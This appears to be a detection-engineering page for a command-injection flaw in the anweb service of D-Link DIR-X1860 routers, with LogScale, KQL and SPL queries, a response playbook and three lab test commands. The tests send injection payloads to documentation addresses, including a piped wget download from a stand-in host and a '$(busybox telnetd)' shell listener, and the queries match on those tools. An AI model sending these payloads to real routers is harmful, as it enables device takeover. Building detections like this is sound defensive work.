Detect D-Link DIR-X1860 anweb OS Command Injection (CVE-2026-135788) in CrowdStrike LogScale
CVE-2026-135788 is a command injection weakness (CWE-77, CWE-78) in /usr/sbin/anweb on D-Link DIR-X1860 firmware 4.5.2. An attacker can send a crafted request that manipulates an unknown function in anweb, resulting in OS command injection. The attack can be launched remotely. A public exploit exists and has been used in attacks. NVD lists a CVSS 4.0 base score of 8.6. This detection focuses on network-facing HTTP request patterns containing shell metacharacters, upstream syslog/proxy capture, and any downstream process or command execution originating from the device, correlated against perimeter and web-proxy logs.
MITRE ATT&CK
- Tactic
- Initial Access Execution
LogScale Detection Query
// df00tech DF00-072c5b0973 · https://df00tech.com/detections/CVE-2026-135788 · licence: https://df00tech.com/detections/licence
#event_simpleName=/NetworkConnect|DnsRequest/ OR #repo=proxy
| url=/anweb/i
| url=/([;|&`]|\$\(|\/bin\/sh|busybox|wget\s|curl\s|telnetd|%3b|%7c|%26|%60)/i
| groupBy([aid, src_ip, url, http_method], function=count())
| sort(count, order=desc) CrowdStrike CQL (Falcon LogScale) query identifying command-injection payloads in HTTP traffic to the D-Link DIR-X1860 anweb endpoint (CVE-2026-135788).
Data Sources
Required Tables
False Positives & Tuning
- Legitimate encoded admin requests.
- Authorized security scanning.
- Monitoring automation with encoded parameters.
Other platforms for CVE-2026-135788
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated anweb command injection via metacharacter in URL
Expected signal: Proxy/firewall log entry showing an HTTP request to an anweb URL containing a ';' metacharacter.
- Test 2 URL-encoded pipe injection to anweb
Expected signal: Web proxy record with %7C and 'wget' in the request URL to anweb.
- Test 3 Command-substitution payload against anweb (Windows test host)
Expected signal: Proxy/firewall log of an HTTP request to anweb containing '$(' and 'busybox telnetd'.
Response Playbook
Triage
- Confirm the destination device is a D-Link DIR-X1860 running firmware 4.5.2 by checking asset inventory and the device banner/management page.
- Decode the full HTTP request URL and body to extract the exact shell metacharacters and injected command(s) targeting the anweb service.
- Determine whether the request received an HTTP 200/success response or shows signs of the injected command executing (e.g. outbound wget/curl/telnetd from the router shortly after).
- Assess the source IP: is it internal, a known scanner, or an external/unexpected host?
Containment
- Block the offending source IP(s) at the perimeter firewall and restrict WAN-side access to the router's management/anweb port.
- Isolate the affected router from sensitive network segments and, if compromise is confirmed, take it offline pending firmware remediation.
Evidence Collection
- Capture and preserve the full HTTP request (headers, URL, body) and corresponding proxy/firewall/syslog records.
- Export the router's syslog, configuration, and any available process/boot logs before reboot or reset to preserve indicators of persistence.
Escalation Criteria
- !Escalate to incident response if the injected command executed successfully (evidence of outbound download, new listening service such as telnetd, or configuration change).
- !Escalate if the exploit source is external/unknown or if multiple routers show the same injection pattern, indicating active mass exploitation.
Investigation Guide
Forensic Artifacts
- >
Router syslog entries from the anweb process around the time of the request - >
Outbound network connections from the router (wget/curl/tftp/telnetd) following the request - >
Modified router configuration, new user accounts, or altered startup scripts in NVRAM/flash
Tuning Guidance
Baseline legitimate management traffic to the router and whitelist known admin hosts and authorized scanner IPs to reduce noise. Tighten the metacharacter regex if the environment uses encoded characters in legitimate query strings. Prioritize alerts where the request originates from the WAN side or where a successful outbound download/connection from the router follows the request, since post-exploitation telemetry greatly raises confidence.
Hunting Queries
Hunt for clusters of anweb requests containing shell metacharacters grouped by source to reveal scanning or repeated exploitation attempts.
// df00tech DF00-072c5b0973 · https://df00tech.com/detections/CVE-2026-135788 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "anweb" | extend d=url_decode(RequestURL) | where d matches regex @"[;|&`]|\$\(" | summarize count() by SourceIP, bin(TimeGenerated, 1h) ``` df00tech DF00-072c5b0973 · https://df00tech.com/detections/CVE-2026-135788 · licence: https://df00tech.com/detections/licence ```
index=proxy "anweb" | eval d=urldecode(url) | regex d="[;|&`]|\$\(" | stats count by src_ip, date_hour Atomic Red Team Tests
Sends an HTTP request to a lab DIR-X1860 (or emulated anweb endpoint) with a semicolon-separated injected command to validate detection of command-injection payloads.
Command
curl -s -m 5 "http://192.0.2.10/anweb/cgi?cmd=ping;id" || true Cleanup
echo 'No persistent change; clear any proxy test logs if required' Expected Telemetry
Proxy/firewall log entry showing an HTTP request to an anweb URL containing a ';' metacharacter.
Expected Detection
KQL/SPL rule fires on the decoded URL containing shell metacharacters targeting anweb.
Sends a URL-encoded pipe (%7C) payload to the anweb endpoint to verify the detection decodes and matches encoded metacharacters.
Command
curl -s -m 5 "http://192.0.2.10/anweb/cgi?arg=test%7Cwget%20http://198.51.100.5/x" || true Cleanup
rm -f ./x 2>/dev/null; true Expected Telemetry
Web proxy record with %7C and 'wget' in the request URL to anweb.
Expected Detection
Rule decodes %7C to '|' and matches the wget download pattern.
From a Windows test host, issues an HTTP request with a $() command-substitution payload to the anweb endpoint to confirm detection coverage across request sources.
Command
powershell -c "try { Invoke-WebRequest -UseBasicParsing -TimeoutSec 5 -Uri 'http://192.0.2.10/anweb/cgi?p=$(busybox telnetd)' } catch {}" Cleanup
echo 'No cleanup required - request only' Expected Telemetry
Proxy/firewall log of an HTTP request to anweb containing '$(' and 'busybox telnetd'.
Expected Detection
Rule matches the command-substitution and busybox/telnetd indicators in the anweb request.